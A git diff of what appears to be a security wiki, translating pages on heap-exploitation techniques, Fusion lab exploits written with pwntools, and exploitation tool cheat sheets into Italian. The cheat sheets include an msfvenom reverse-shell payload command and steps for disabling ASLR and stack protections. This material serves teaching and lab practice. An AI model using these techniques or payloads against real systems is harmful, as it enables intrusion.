dtors. Più precisamente che av->max_fast sia all'indirizzo che andremo a sovrascrivere. -Dado que con The House of Mind se vio que nosotros controlábamos la posición del av. +Poiché con The House of Mind si è visto che noi controllavamo la posizione dell'av. -Entones si en el campo size ponemos un tamaño de 8 + NON_MAIN_ARENA + PREV_INUSE —> fastbin_index() nos devolverá fastbins\[-1], que apuntará a av->max_fast +Quindi se nel campo size mettiamo una dimensione di 8 + NON_MAIN_ARENA + PREV_INUSE —> fastbin_index() ci restituirà fastbins\[-1], che punterà a av->max_fast -En este caso av->max_fast será la dirección que se sobrescrita (no a la que apunte, sino esa posición será la que se sobrescrita). +In questo caso av->max_fast sarà l'indirizzo che si sovrascriverà (non a cui punta, ma quella posizione sarà quella che si sovrascriverà). -Además se tiene que cumplir que el trozo contiguo al liberado debe ser mayor que 8 -> Dado que hemos dicho que el size del trozo liberado es 8, en este trozo falso solo tenemos que poner un size mayor que 8 (como además la shellcode irá en el trozo liberado, habrá que poner al ppio un jmp que caiga en nops). +Inoltre, deve essere soddisfatto che il blocco contiguo a quello liberato deve essere maggiore di 8 -> Poiché abbiamo detto che il size del blocco liberato è 8, in questo blocco falso dobbiamo solo mettere un size maggiore di 8 (come inoltre la shellcode andrà nel blocco liberato, dovremo mettere all'inizio un jmp che cada in nops). -Además, ese mismo trozo falso debe ser menor que av->system_mem. av->system_mem se encuentra 1848 bytes más allá. +Inoltre, quel stesso blocco falso deve essere minore di av->system_mem. av->system_mem si trova 1848 byte più in là. -Por culpa de los nulos de \_DTOR_END\_ y de las pocas direcciones en la GOT, ninguna dirección de estas secciones sirven para ser sobrescritas, así que veamos como aplicar fastbin para atacar la pila. +A causa dei nulli di \_DTOR_END\_ e delle poche direzioni nella GOT, nessun indirizzo di queste sezioni serve per essere sovrascritto, quindi vediamo come applicare fastbin per attaccare lo stack. -Otra forma de ataque es redirigir el **av** hacia la pila. +Un'altra forma di attacco è reindirizzare l'**av** verso lo stack. -Si modificamos el size para que de 16 en vez de 8 entonces: fastbin_index() nos devolverá fastbins\[0] y podemos hacer uso de esto para sobreescribir la pila. +Se modifichiamo il size per farlo diventare 16 invece di 8 allora: fastbin_index() ci restituirà fastbins\[0] e possiamo utilizzare questo per sovrascrivere lo stack. -Para esto no debe haber ningún canary ni valores raros en la pila, de hecho tenemos que encontrarnos en esta: 4bytes nulos + EBP + RET +Per questo non deve esserci alcun canary né valori strani nello stack, infatti dobbiamo trovarci in questo: 4byte nulli + EBP + RET -Los 4 bytes nulo se necesitan que el **av** estará a esta dirección y el primero elemento de un **av** es el mutexe que tiene que valer 0. +I 4 byte nulli sono necessari affinché l'**av** sia a questo indirizzo e il primo elemento di un **av** è il mutex che deve valere 0. -El **av->max_fast** será el EBP y será un valor que nos servirá para saltarnos las restricciones. +L'**av->max_fast** sarà l'EBP e sarà un valore che ci servirà per saltare le restrizioni. -En el **av->fastbins\[0]** se sobreescribirá con la dirección de **p** y será el RET, así se saltará a la shellcode. +Nell'**av->fastbins\[0]** si sovrascriverà con l'indirizzo di **p** e sarà il RET, così si salterà alla shellcode. -Además, en **av->system_mem** (1484bytes por encima de la posición en la pila) habrá bastante basura que nos permitirá saltarnos la comprobación que se realiza. +Inoltre, in **av->system_mem** (1484byte sopra la posizione nello stack) ci sarà abbastanza spazzatura che ci permetterà di saltare il controllo che si esegue. -Además se tiene que cumplir que el trozo contiguo al liberado debe ser mayor que 8 -> Dado que hemos dicho que el size del trozo liberado es 16, en este trozo falso solo tenemos que poner un size mayor que 8 (como además la shellcode irá en el trozo liberado, habrá que poner al ppio un jmp que caiga en nops que van después del campo size del nuevo trozo falso). +Inoltre, deve essere soddisfatto che il blocco contiguo a quello liberato deve essere maggiore di 8 -> Poiché abbiamo detto che il size del blocco liberato è 16, in questo blocco falso dobbiamo solo mettere un size maggiore di 8 (come inoltre la shellcode andrà nel blocco liberato, dovremo mettere all'inizio un jmp che cada in nops che vanno dopo il campo size del nuovo blocco falso). **The House of Spirit** -En este caso buscamos tener un puntero a un malloc que pueda ser alterable por el atacante (por ej, que el puntero esté en el stack debajo de un posible overflow a una variable). +In questo caso cerchiamo di avere un puntatore a un malloc che possa essere alterato dall'attaccante (ad esempio, che il puntatore sia nello stack sotto un possibile overflow a una variabile). -Así, podríamos hacer que este puntero apuntase a donde fuese. Sin embargo, no cualquier sitio es válido, el tamaño del trozo falseado debe ser menor que av->max_fast y más específicamente igual al tamaño solicitado en una futura llamada a malloc()+8. Por ello, si sabemos que después de este puntero vulnerable se llama a malloc(40), el tamaño del trozo falso debe ser igual a 48. +In questo modo, potremmo fare in modo che questo puntatore punti dove vogliamo. Tuttavia, non qualsiasi sito è valido, la dimensione del blocco falsato deve essere minore di av->max_fast e più specificamente uguale alla dimensione richiesta in una futura chiamata a malloc()+8. Perciò, se sappiamo che dopo questo puntatore vulnerabile si chiama a malloc(40), la dimensione del blocco falso deve essere uguale a 48. -Si por ejemplo el programa preguntase al usuario por un número podríamos introducir 48 y apuntar el puntero de malloc modificable a los siguientes 4bytes (que podrían pertenecer al EBP con suerte, así el 48 queda por detrás, como si fuese la cabecera size). Además, la dirección ptr-4+48 debe cumplir varias condiciones (siendo en este caso ptr=EBP), es decir, 8 < ptr-4+48 < av->system_mem. +Se ad esempio il programma chiedesse all'utente un numero potremmo inserire 48 e puntare il puntatore di malloc modificabile ai successivi 4byte (che potrebbero appartenere all'EBP con fortuna, così il 48 rimane dietro, come se fosse l'intestazione size). Inoltre, l'indirizzo ptr-4+48 deve soddisfare diverse condizioni (essendo in questo caso ptr=EBP), cioè, 8 < ptr-4+48 < av->system_mem. -En caso de que esto se cumpla, cuando se llame al siguiente malloc que dijimos que era malloc(40) se le asignará como dirección la dirección del EBP. En caso de que el atacante también pueda controlar lo que se escribe en este malloc puede sobreescribir tanto el EBP como el EIP con la dirección que quiera. +Se questo viene soddisfatto, quando si chiama il successivo malloc che abbiamo detto essere malloc(40) gli verrà assegnata come indirizzo l'indirizzo dell'EBP. Nel caso in cui l'attaccante possa anche controllare ciò che viene scritto in questo malloc può sovrascrivere sia l'EBP che l'EIP con l'indirizzo che desidera. -Esto creo que es porque así cuando lo libere free() guardará que en la dirección que apunta al EBP del stack hay un trozo de tamaño perfecto para el nuevo malloc() que se quiere reservar, así que le asigna esa dirección. +Credo che questo sia perché così quando lo libererà free() registrerà che all'indirizzo che punta all'EBP dello stack c'è un blocco di dimensione perfetta per il nuovo malloc() che si vuole riservare, quindi gli assegna quell'indirizzo. **The House of Force** -Es necesario: +È necessario: -- Un overflow a un trozo que permita sobreescribir el wilderness -- Una llamada a malloc() con el tamaño definido por el usuario -- Una llamada a malloc() cuyos datos puedan ser definidos por el usuario +- Un overflow a un blocco che consenta di sovrascrivere il wilderness +- Una chiamata a malloc() con la dimensione definita dall'utente +- Una chiamata a malloc() i cui dati possano essere definiti dall'utente -Lo primero que se hace es sobreescribir el size del trozo wilderness con un valor muy grande (0xffffffff), así cual quiera solicitud de memoria lo suficientemente grande será tratada en \_int_malloc() sin necesidad de expandir el heap +La prima cosa da fare è sovrascrivere il size del blocco wilderness con un valore molto grande (0xffffffff), così qualsiasi richiesta di memoria sufficientemente grande sarà trattata in \_int_malloc() senza necessità di espandere l'heap -Lo segundo es alterar el av->top para que apunte a una zona de memoria bajo el control del atacante, como el stack. En av->top se pondrá \&EIP - 8. +La seconda è alterare l'av->top affinché punti a una zona di memoria sotto il controllo dell'attaccante, come lo stack. In av->top si metterà \&EIP - 8. -Tenemos que sobreescrbir av->top para que apunte a la zona de memoria bajo el control del atacante: +Dobbiamo sovrascrivere av->top affinché punti alla zona di memoria sotto il controllo dell'attaccante: victim = av->top; @@ -466,86 +456,86 @@ remainder = chunck_at_offset(victim, nb); av->top = remainder; -Victim recoge el valor de la dirección del trozo wilderness actual (el actual av->top) y remainder es exactamente la suma de esa dirección más la cantidad de bytes solicitados por malloc(). Por lo que si \&EIP-8 está en 0xbffff224 y av->top contiene 0x080c2788, entonces la cantidad que tenemos que reservar en el malloc controlado para que av->top quede apuntando a $EIP-8 para el próximo malloc() será: +Victim raccoglie il valore dell'indirizzo del blocco wilderness attuale (l'attuale av->top) e remainder è esattamente la somma di quell'indirizzo più la quantità di byte richiesti da malloc(). Quindi se \&EIP-8 è in 0xbffff224 e av->top contiene 0x080c2788, allora la quantità che dobbiamo riservare nel malloc controllato affinché av->top punti a $EIP-8 per il prossimo malloc() sarà: 0xbffff224 - 0x080c2788 = 3086207644. -Así se guardará en av->top el valor alterado y el próximo malloc apuntará al EIP y lo podrá sobreescribir. +In questo modo si memorizzerà in av->top il valore alterato e il prossimo malloc punterà all'EIP e potrà sovrascriverlo. -Es importante saber que el size del nuevo trozo wilderness sea más grande que la solicitud realizada por el último malloc(). Es decir, si el wilderness está apuntando a \&EIP-8, el size quedará justo en el campo EBP del stack. +È importante sapere che il size del nuovo blocco wilderness sia più grande della richiesta effettuata dall'ultimo malloc(). Cioè, se il wilderness sta puntando a \&EIP-8, il size rimarrà proprio nel campo EBP dello stack. **The House of Lore** -**Corrupción SmallBin** +**Corruzione SmallBin** -Los trozos liberados se introducen en el bin en función de su tamaño. Pero antes de introduciros se guardan en unsorted bins. Un trozo es liberado no se mete inmediatamente en su bin sino que se queda en unsorted bins. A continuación, si se reserva un nuevo trozo y el anterior liberado le puede servir se lo devuelve, pero si se reserva más grande, el trozo liberado en unsorted bins se mete en su bin adecuado. +I blocchi liberati vengono inseriti nel bin in base alla loro dimensione. Ma prima di essere inseriti vengono memorizzati in unsorted bins. Un blocco viene liberato non viene immediatamente inserito nel suo bin ma rimane in unsorted bins. Successivamente, se si riserva un nuovo blocco e il precedente liberato può servirgli, lo restituisce, ma se si riserva più grande, il blocco liberato in unsorted bins viene inserito nel suo bin adeguato. -Para alcanzar el código vulnerable la solicitud de memora deberá ser mayor a av->max_fast (72normalmente) y menos a MIN_LARGE_SIZE (512). +Per raggiungere il codice vulnerabile la richiesta di memoria dovrà essere maggiore di av->max_fast (72 normalmente) e minore di MIN_LARGE_SIZE (512). -Si en los bin hay un trozo del tamaño adecuado a lo que se pide se devuelve ese después de desenlazarlo: +Se nei bin c'è un blocco della dimensione adeguata a ciò che si richiede, si restituisce quello dopo averlo disconnesso: -bck = victim->bk; Apunta al trozo anterior, es la única info que podemos alterar. +bck = victim->bk; Punta al blocco precedente, è l'unica info che possiamo alterare. -bin->bk = bck; El penúltimo trozo pasa a ser el último, en caso de que bck apunte al stack al siguiente trozo reservado se le dará esta dirección +bin->bk = bck; Il penultimo blocco diventa l'ultimo, nel caso in cui bck punti allo stack al successivo blocco riservato verrà data questa direzione -bck->fd = bin; Se cierra la lista haciendo que este apunte a bin +bck->fd = bin; Si chiude la lista facendo sì che questo punti a bin -Se necesita: +È necessario: -Que se reserven dos malloc, de forma que al primero se le pueda hacer overflow después de que el segundo haya sido liberado e introducido en su bin (es decir, se haya reservado un malloc superior al segundo trozo antes de hacer el overflow) +Che si riservino due malloc, in modo che al primo si possa fare overflow dopo che il secondo sia stato liberato e inserito nel suo bin (cioè, si sia riservato un malloc superiore al secondo blocco prima di fare l'overflow) -Que el malloc reservado al que se le da la dirección elegida por el atacante sea controlada por el atacante. +Che il malloc riservato al quale si dà l'indirizzo scelto dall'attaccante sia controllato dall'attaccante. -El objetivo es el siguiente, si podemos hacer un overflow a un heap que tiene por debajo un trozo ya liberado y en su bin, podemos alterar su puntero bk. Si alteramos su puntero bk y este trozo llega a ser el primero de la lista de bin y se reserva, a bin se le engañará y se le dirá que el último trozo de la lista (el siguiente en ofrecer) está en la dirección falsa que hayamos puesto (al stack o GOT por ejemplo). Por lo que si se vuelve a reservar otro trozo y el atacante tiene permisos en él, se le dará un trozo en la posición deseada y podrá escribir en ella. +L'obiettivo è il seguente, se possiamo fare un overflow a un heap che ha sotto un blocco già liberato e nel suo bin, possiamo alterare il suo puntatore bk. Se alteriamo il suo puntatore bk e questo blocco arriva a essere il primo della lista di bin e si riserva, a bin si ingannerà e si dirà che l'ultimo blocco della lista (il successivo a offrire) è all'indirizzo falso che abbiamo messo (allo stack o GOT per esempio). Quindi se si riserva un altro blocco e l'attaccante ha permessi su di esso, verrà dato un blocco nella posizione desiderata e potrà scriverci sopra. -Tras liberar el trozo modificado es necesario que se reserve un trozo mayor al liberado, así el trozo modificado saldrá de unsorted bins y se introduciría en su bin. +Dopo aver liberato il blocco modificato è necessario riservare un blocco maggiore di quello liberato, così il blocco modificato uscirà da unsorted bins e si inserirebbe nel suo bin. -Una vez en su bin es el momento de modificarle el puntero bk mediante el overflow para que apunte a la dirección que queramos sobreescribir. +Una volta nel suo bin è il momento di modificare il puntatore bk tramite l'overflow affinché punti all'indirizzo che vogliamo sovrascrivere. -Así el bin deberá esperar turno a que se llame a malloc() suficientes veces como para que se vuelva a utilizar el bin modificado y engañe a bin haciéndole creer que el siguiente trozo está en la dirección falsa. Y a continuación se dará el trozo que nos interesa. +Così il bin dovrà aspettare turno affinché si chiami malloc() sufficienti volte affinché si torni a utilizzare il bin modificato e ingannare bin facendogli credere che il successivo blocco sia all'indirizzo falso. E successivamente si darà il blocco che ci interessa. -Para que se ejecute la vulnerabilidad lo antes posible lo ideal sería: Reserva del trozo vulnerable, reserva del trozo que se modificará, se libera este trozo, se reserva un trozo más grande al que se modificará, se modifica el trozo (vulnerabilidad), se reserva un trozo de igual tamaño al vulnerado y se reserva un segundo trozo de igual tamaño y este será el que apunte a la dirección elegida. +Per far eseguire la vulnerabilità il prima possibile l'ideale sarebbe: Riserva del blocco vulnerabile, riserva del blocco che si modificherà, si libera questo blocco, si riserva un blocco più grande a quello che si modificherà, si modifica il blocco (vulnerabilità), si riserva un blocco di uguale dimensione a quello vulnerato e si riserva un secondo blocco di uguale dimensione e questo sarà quello che punta all'indirizzo scelto. -Para proteger este ataque se uso la típica comprobación de que el trozo “no” es falso: se comprueba si bck->fd está apuntando a victim. Es decir, en nuestro caso si el puntero fd\* del trozo falso apuntado en el stack está apuntando a victim. Para sobrepasar esta protección el atacante debería ser capaz de escribir de alguna forma (por el stack probablemente) en la dirección adecuada la dirección de victim. Para que así parezca un trozo verdadero. +Per proteggere questo attacco si usa la tipica verifica che il blocco “non” è falso: si controlla se bck->fd sta puntando a victim. Cioè, nel nostro caso se il puntatore fd\* del blocco falso puntato nello stack sta puntando a victim. Per superare questa protezione l'attaccante dovrebbe essere in grado di scrivere in qualche modo (probabilmente dallo stack) all'indirizzo adeguato l'indirizzo di victim. Affinché così sembri un blocco vero. -**Corrupción LargeBin** +**Corruzione LargeBin** -Se necesitan los mismos requisitos que antes y alguno más, además los trozos reservados deben ser mayores a 512. +Sono necessari gli stessi requisiti di prima e qualcun altro, inoltre i blocchi riservati devono essere maggiori di 512. -El ataque es como el anterior, es decir, ha que modificar el puntero bk y se necesitan todas esas llamadas a malloc(), pero además hay que modificar el size del trozo modificado de forma que ese size - nb sea < MINSIZE. +L'attacco è come il precedente, cioè, bisogna modificare il puntatore bk e sono necessarie tutte quelle chiamate a malloc(), ma inoltre bisogna modificare il size del blocco modificato in modo che quel size - nb sia < MINSIZE. -Por ejemplo hará que poner en size 1552 para que 1552 - 1544 = 8 < MINSIZE (la resta no puede quedar negativa porque se compara un unsigned) +Ad esempio, si farà in modo che mettere in size 1552 affinché 1552 - 1544 = 8 < MINSIZE (la sottrazione non può risultare negativa perché si confronta un unsigned) -Además se ha introducido un parche para hacerlo aún más complicado. +Inoltre è stato introdotto un patch per renderlo ancora più complicato. **Heap Spraying** -Básicamente consiste en reservar tooda la memoria posible para heaps y rellenar estos con un colchón de nops acabados por una shellcode. Además, como colchón se utiliza 0x0c. Pues se intentará saltar a la dirección 0x0c0c0c0c, y así si se sobreescribe alguna dirección a la que se vaya a llamar con este colchón se saltará allí. Básicamente la táctica es reservar lo máximos posible para ver si se sobreescribe algún puntero y saltar a 0x0c0c0c0c esperando que allí haya nops. +Fondamentalmente consiste nel riservare tutta la memoria possibile per gli heap e riempire questi con un materasso di nops terminati da una shellcode. Inoltre, come materasso si utilizza 0x0c. Poiché si cercherà di saltare all'indirizzo 0x0c0c0c0c, e così se si sovrascrive qualche indirizzo a cui si andrà a chiamare con questo materasso si salterà lì. Fondamentalmente la tattica è riservare il massimo possibile per vedere se si sovrascrive qualche puntatore e saltare a 0x0c0c0c0c aspettandosi che lì ci siano nops. **Heap Feng Shui** -Consiste en mediante reservas y liberaciones sementar la memoria de forma que queden trozos reservados entre medias de trozos libres. El buffer a desbordar se situará en uno de los huevos. +Consiste nel seminare la memoria tramite riserve e liberazioni in modo che rimangano blocchi riservati in mezzo a blocchi liberi. Il buffer da sovrascrivere si situerà in uno dei blocchi. -**objdump -d ejecutable** —> Disas functions\ -**objdump -d ./PROGRAMA | grep FUNCION** —> Get function address\ -**objdump -d -Mintel ./shellcodeout** —> Para ver que efectivamente es nuestra shellcode y sacar los OpCodes\ -**objdump -t ./exec | grep varBss** —> Tabla de símbolos, para sacar address de variables y funciones\ -**objdump -TR ./exec | grep exit(func lib)** —> Para sacar address de funciones de librerías (GOT)\ +**objdump -d eseguibile** —> Disas functions\ +**objdump -d ./PROGRAMA | grep FUNZIONE** —> Ottieni indirizzo funzione\ +**objdump -d -Mintel ./shellcodeout** —> Per vedere che effettivamente è la nostra shellcode e estrarre gli OpCodes\ +**objdump -t ./exec | grep varBss** —> Tabella dei simboli, per estrarre indirizzi di variabili e funzioni\ +**objdump -TR ./exec | grep exit(func lib)** —> Per estrarre indirizzi di funzioni di librerie (GOT)\ **objdump -d ./exec | grep funcCode**\ **objdump -s -j .dtors /exec**\ **objdump -s -j .got ./exec**\ -**objdump -t --dynamic-relo ./exec | grep puts** —> Saca la dirección de puts a sobreescribir en le GOT\ -**objdump -D ./exec** —> Disas ALL hasta las entradas de la plt\ +**objdump -t --dynamic-relo ./exec | grep puts** —> Estrae l'indirizzo di puts da sovrascrivere nella GOT\ +**objdump -D ./exec** —> Disas ALL fino alle entrate della plt\ **objdump -p -/exec**\ -**Info functions strncmp —>** Info de la función en gdb +**Info functions strncmp —>** Info della funzione in gdb -## Interesting courses +## Corsi interessanti - [https://guyinatuxedo.github.io/](https://guyinatuxedo.github.io) - [https://github.com/RPISEC/MBE](https://github.com/RPISEC/MBE) - [https://ir0nstone.gitbook.io/notes](https://ir0nstone.gitbook.io/notes) -## **References** +## **Riferimenti** - [**https://guyinatuxedo.github.io/7.2-mitigation_relro/index.html**](https://guyinatuxedo.github.io/7.2-mitigation_relro/index.html) diff --git a/src/exploiting/linux-exploiting-basic-esp/fusion.md b/src/exploiting/linux-exploiting-basic-esp/fusion.md index 344a72d02..548a3f7e8 100644 --- a/src/exploiting/linux-exploiting-basic-esp/fusion.md +++ b/src/exploiting/linux-exploiting-basic-esp/fusion.md @@ -4,9 +4,8 @@ [http://exploit-exercises.lains.space/fusion/level00/](http://exploit-exercises.lains.space/fusion/level00/) -1. Get offset to modify EIP -2. Put shellcode address in EIP - +1. Ottieni l'offset per modificare l'EIP +2. Metti l'indirizzo dello shellcode nell'EIP ```python from pwn import * @@ -32,9 +31,7 @@ r.recvline() r.send(buf) r.interactive() ``` - -# Level01 - +# Livello01 ```python from pwn import * @@ -60,5 +57,4 @@ buf += "\x65\xd9\x0f\x01" r.send(buf) r.interactive() ``` - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/exploiting/tools/README.md b/src/exploiting/tools/README.md index 0ca40e712..3437875e0 100644 --- a/src/exploiting/tools/README.md +++ b/src/exploiting/tools/README.md @@ -1,9 +1,8 @@ -# Exploiting Tools +# Strumenti di Sfruttamento {{#include ../../banners/hacktricks-training.md}} ## Metasploit - ``` pattern_create.rb -l 3000 #Length pattern_offset.rb -l 3000 -q 5f97d534 #Search offset @@ -11,31 +10,23 @@ nasm_shell.rb nasm> jmp esp #Get opcodes msfelfscan -j esi /opt/fusion/bin/level01 ``` - ### Shellcodes - ``` msfvenom /p windows/shell_reverse_tcp LHOST= LPORT= [EXITFUNC=thread] [-e x86/shikata_ga_nai] -b "\x00\x0a\x0d" -f c ``` - ## GDB -### Install - +### Installa ``` apt-get install gdb ``` - -### Parameters - +### Parametri ```bash -q # No show banner -x # Auto-execute GDB instructions from here -p # Attach to process ``` - -### Instructions - +### Istruzioni ```bash run # Execute start # Start and break in main @@ -81,9 +72,7 @@ x/s pointer # String pointed by the pointer x/xw &pointer # Address where the pointer is located x/i $eip # Instructions of the EIP ``` - ### [GEF](https://github.com/hugsy/gef) - ```bash help memory # Get help on memory command canary # Search for canary value in memory @@ -113,34 +102,32 @@ shellcode get 61 #Download shellcode number 61 1- Put a bp after the function that overwrites the RIP and send a ppatern to ovwerwrite it 2- ef➤ i f Stack level 0, frame at 0x7fffffffddd0: - rip = 0x400cd3; saved rip = 0x6261617762616176 - called by frame at 0x7fffffffddd8 - Arglist at 0x7fffffffdcf8, args: - Locals at 0x7fffffffdcf8, Previous frame's sp is 0x7fffffffddd0 - Saved registers: - rbp at 0x7fffffffddc0, rip at 0x7fffffffddc8 +rip = 0x400cd3; saved rip = 0x6261617762616176 +called by frame at 0x7fffffffddd8 +Arglist at 0x7fffffffdcf8, args: +Locals at 0x7fffffffdcf8, Previous frame's sp is 0x7fffffffddd0 +Saved registers: +rbp at 0x7fffffffddc0, rip at 0x7fffffffddc8 gef➤ pattern search 0x6261617762616176 [+] Searching for '0x6261617762616176' [+] Found at offset 184 (little-endian search) likely ``` - ### Tricks -#### GDB same addresses +#### GDB stessi indirizzi -While debugging GDB will have **slightly different addresses than the used by the binary when executed.** You can make GDB have the same addresses by doing: +Durante il debug, GDB avrà **indirizzi leggermente diversi rispetto a quelli utilizzati dal binario quando eseguito.** Puoi far sì che GDB abbia gli stessi indirizzi eseguendo: - `unset env LINES` - `unset env COLUMNS` -- `set env _=` _Put the absolute path to the binary_ -- Exploit the binary using the same absolute route -- `PWD` and `OLDPWD` must be the same when using GDB and when exploiting the binary +- `set env _=` _Inserisci il percorso assoluto del binario_ +- Sfrutta il binario utilizzando la stessa rotta assoluta +- `PWD` e `OLDPWD` devono essere gli stessi quando si utilizza GDB e quando si sfrutta il binario -#### Backtrace to find functions called - -When you have a **statically linked binary** all the functions will belong to the binary (and no to external libraries). In this case it will be difficult to **identify the flow that the binary follows to for example ask for user input**.\ -You can easily identify this flow by **running** the binary with **gdb** until you are asked for input. Then, stop it with **CTRL+C** and use the **`bt`** (**backtrace**) command to see the functions called: +#### Backtrace per trovare le funzioni chiamate +Quando hai un **binario staticamente collegato**, tutte le funzioni apparterranno al binario (e non a librerie esterne). In questo caso sarà difficile **identificare il flusso che il binario segue per esempio per richiedere input all'utente.**\ +Puoi facilmente identificare questo flusso **eseguendo** il binario con **gdb** fino a quando non ti viene chiesto di inserire un input. Poi, fermalo con **CTRL+C** e usa il comando **`bt`** (**backtrace**) per vedere le funzioni chiamate: ``` gef➤ bt #0 0x00000000004498ae in ?? () @@ -149,79 +136,74 @@ gef➤ bt #3 0x00000000004011a9 in ?? () #4 0x0000000000400a5a in ?? () ``` - ### GDB server -`gdbserver --multi 0.0.0.0:23947` (in IDA you have to fill the absolute path of the executable in the Linux machine and in the Windows machine) +`gdbserver --multi 0.0.0.0:23947` (in IDA devi riempire il percorso assoluto dell'eseguibile nella macchina Linux e nella macchina Windows) ## Ghidra -### Find stack offset +### Trova offset dello stack -**Ghidra** is very useful to find the the **offset** for a **buffer overflow thanks to the information about the position of the local variables.**\ -For example, in the example below, a buffer flow in `local_bc` indicates that you need an offset of `0xbc`. Moreover, if `local_10` is a canary cookie it indicates that to overwrite it from `local_bc` there is an offset of `0xac`.\ -_Remember that the first 0x08 from where the RIP is saved belongs to the RBP._ +**Ghidra** è molto utile per trovare l'**offset** per un **buffer overflow grazie alle informazioni sulla posizione delle variabili locali.**\ +Ad esempio, nell'esempio qui sotto, un buffer flow in `local_bc` indica che hai bisogno di un offset di `0xbc`. Inoltre, se `local_10` è un canary cookie indica che per sovrascriverlo da `local_bc` c'è un offset di `0xac`.\ +_Ricorda che i primi 0x08 da dove viene salvato il RIP appartengono al RBP._ ![](<../../images/image (616).png>) ## GCC -**gcc -fno-stack-protector -D_FORTIFY_SOURCE=0 -z norelro -z execstack 1.2.c -o 1.2** --> Compile without protections\ +**gcc -fno-stack-protector -D_FORTIFY_SOURCE=0 -z norelro -z execstack 1.2.c -o 1.2** --> Compila senza protezioni\ **-o** --> Output\ -**-g** --> Save code (GDB will be able to see it)\ -**echo 0 > /proc/sys/kernel/randomize_va_space** --> To deactivate the ASLR in linux +**-g** --> Salva il codice (GDB sarà in grado di vederlo)\ +**echo 0 > /proc/sys/kernel/randomize_va_space** --> Per disattivare l'ASLR in linux -**To compile a shellcode:**\ -**nasm -f elf assembly.asm** --> return a ".o"\ -**ld assembly.o -o shellcodeout** --> Executable +**Per compilare un shellcode:**\ +**nasm -f elf assembly.asm** --> restituisce un ".o"\ +**ld assembly.o -o shellcodeout** --> Eseguibile ## Objdump -**-d** --> **Disassemble executable** sections (see opcodes of a compiled shellcode, find ROP Gadgets, find function address...)\ -**-Mintel** --> **Intel** syntax\ -**-t** --> **Symbols** table\ -**-D** --> **Disassemble all** (address of static variable)\ -**-s -j .dtors** --> dtors section\ -**-s -j .got** --> got section\ -\-D -s -j .plt --> **plt** section **decompiled**\ -**-TR** --> **Relocations**\ -**ojdump -t --dynamic-relo ./exec | grep puts** --> Address of "puts" to modify in GOT\ -**objdump -D ./exec | grep "VAR_NAME"** --> Address or a static variable (those are stored in DATA section). +**-d** --> **Disassembla le sezioni eseguibili** (vedi opcodes di un shellcode compilato, trova ROP Gadgets, trova indirizzo della funzione...)\ +**-Mintel** --> **Sintassi Intel**\ +**-t** --> **Tabella dei simboli**\ +**-D** --> **Disassembla tutto** (indirizzo di variabile statica)\ +**-s -j .dtors** --> sezione dtors\ +**-s -j .got** --> sezione got\ +\-D -s -j .plt --> **sezione plt** **decompilata**\ +**-TR** --> **Ridenominazioni**\ +**ojdump -t --dynamic-relo ./exec | grep puts** --> Indirizzo di "puts" da modificare in GOT\ +**objdump -D ./exec | grep "VAR_NAME"** --> Indirizzo di una variabile statica (queste sono memorizzate nella sezione DATA). ## Core dumps -1. Run `ulimit -c unlimited` before starting my program -2. Run `sudo sysctl -w kernel.core_pattern=/tmp/core-%e.%p.%h.%t` +1. Esegui `ulimit -c unlimited` prima di avviare il mio programma +2. Esegui `sudo sysctl -w kernel.core_pattern=/tmp/core-%e.%p.%h.%t` 3. sudo gdb --core=\ --quiet ## More -**ldd executable | grep libc.so.6** --> Address (if ASLR, then this change every time)\ -**for i in \`seq 0 20\`; do ldd \ | grep libc; done** --> Loop to see if the address changes a lot\ -**readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system** --> Offset of "system"\ -**strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh** --> Offset of "/bin/sh" +**ldd executable | grep libc.so.6** --> Indirizzo (se ASLR, allora questo cambia ogni volta)\ +**for i in \`seq 0 20\`; do ldd \ | grep libc; done** --> Loop per vedere se l'indirizzo cambia molto\ +**readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system** --> Offset di "system"\ +**strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh** --> Offset di "/bin/sh" -**strace executable** --> Functions called by the executable\ -**rabin2 -i ejecutable -->** Address of all the functions +**strace executable** --> Funzioni chiamate dall'eseguibile\ +**rabin2 -i ejecutable -->** Indirizzo di tutte le funzioni ## **Inmunity debugger** - ```bash !mona modules #Get protections, look for all false except last one (Dll of SO) !mona find -s "\xff\xe4" -m name_unsecure.dll #Search for opcodes insie dll space (JMP ESP) ``` - ## IDA ### Debugging in remote linux -Inside the IDA folder you can find binaries that can be used to debug a binary inside a linux. To do so move the binary _linux_server_ or _linux_server64_ inside the linux server and run it nside the folder that contains the binary: - +All'interno della cartella IDA puoi trovare binari che possono essere utilizzati per eseguire il debug di un binario all'interno di un linux. Per farlo, sposta il binario _linux_server_ o _linux_server64_ all'interno del server linux e eseguilo nella cartella che contiene il binario: ``` ./linux_server64 -Ppass ``` - -Then, configure the debugger: Debugger (linux remote) --> Proccess options...: +Quindi, configura il debugger: Debugger (linux remoto) --> Opzioni di processo...: ![](<../../images/image (101).png>) diff --git a/src/exploiting/tools/pwntools.md b/src/exploiting/tools/pwntools.md index a7c0aa204..7924b7bbd 100644 --- a/src/exploiting/tools/pwntools.md +++ b/src/exploiting/tools/pwntools.md @@ -1,118 +1,98 @@ {{#include ../../banners/hacktricks-training.md}} - ``` pip3 install pwntools ``` - # Pwn asm -Get opcodes from line or file. - +Ottieni opcodes da una riga o da un file. ``` pwn asm "jmp esp" pwn asm -i ``` +**Può selezionare:** -**Can select:** +- tipo di output (raw,hex,string,elf) +- contesto del file di output (16,32,64,linux,windows...) +- evitare byte (nuove righe, null, un elenco) +- selezionare l'encoder debug shellcode utilizzando gdb eseguire l'output -- output type (raw,hex,string,elf) -- output file context (16,32,64,linux,windows...) -- avoid bytes (new lines, null, a list) -- select encoder debug shellcode using gdb run the output - -# **Pwn checksec** - -Checksec script +# **Controllo Pwn** +Script checksec ``` pwn checksec ``` - # Pwn constgrep # Pwn cyclic -Get a pattern - +Ottieni un modello ``` pwn cyclic 3000 pwn cyclic -l faad ``` +**Può selezionare:** -**Can select:** - -- The used alphabet (lowercase chars by default) -- Length of uniq pattern (default 4) -- context (16,32,64,linux,windows...) -- Take the offset (-l) +- L'alfabeto utilizzato (caratteri minuscoli per impostazione predefinita) +- Lunghezza del modello unico (impostazione predefinita 4) +- contesto (16,32,64,linux,windows...) +- Prendere l'offset (-l) # Pwn debug -Attach GDB to a process - +Collegare GDB a un processo ``` pwn debug --exec /bin/bash pwn debug --pid 1234 pwn debug --process bash ``` +**Può selezionare:** -**Can select:** - -- By executable, by name or 